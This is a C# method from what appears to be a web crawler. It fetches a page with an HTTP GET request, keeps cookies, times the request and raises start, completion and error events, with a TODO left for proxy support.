public async Task <string> Start(Uri uri, WebProxy proxy = null) { return(await Task.Run(() => { var pageSource = string.Empty; try { if (this.OnStart != null) { this.OnStart(this, new OnStartEventArgs(uri)); } var watch = new Stopwatch(); watch.Start(); //=======发送http请求开始=========== HttpHelpers helpers = new HttpHelpers(); HttpItems items = new HttpItems(); items.Url = uri.ToString(); items.Accept = "*/*"; items.Allowautoredirect = false; items.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"; items.Timeout = 5000; items.Method = "GET"; //if (proxy != null) items.pr = proxy;TODO:代理服务器的逻辑 items.Container = this.CookiesContainer; HttpResults result = helpers.GetHtml(items); foreach (Cookie cookie in result.CookieCollection) { this.CookiesContainer.Add(cookie); } var threadId = Thread.CurrentThread.ManagedThreadId; var milliseconds = watch.ElapsedMilliseconds; pageSource = result.Html; if (this.OnCompleted != null) { OnCompleted(this, new OnCompletedEventArgs(uri, threadId, pageSource, milliseconds)); } } catch (Exception e) { if (this.OnError != null) { OnError(this, e); } } return pageSource; })); }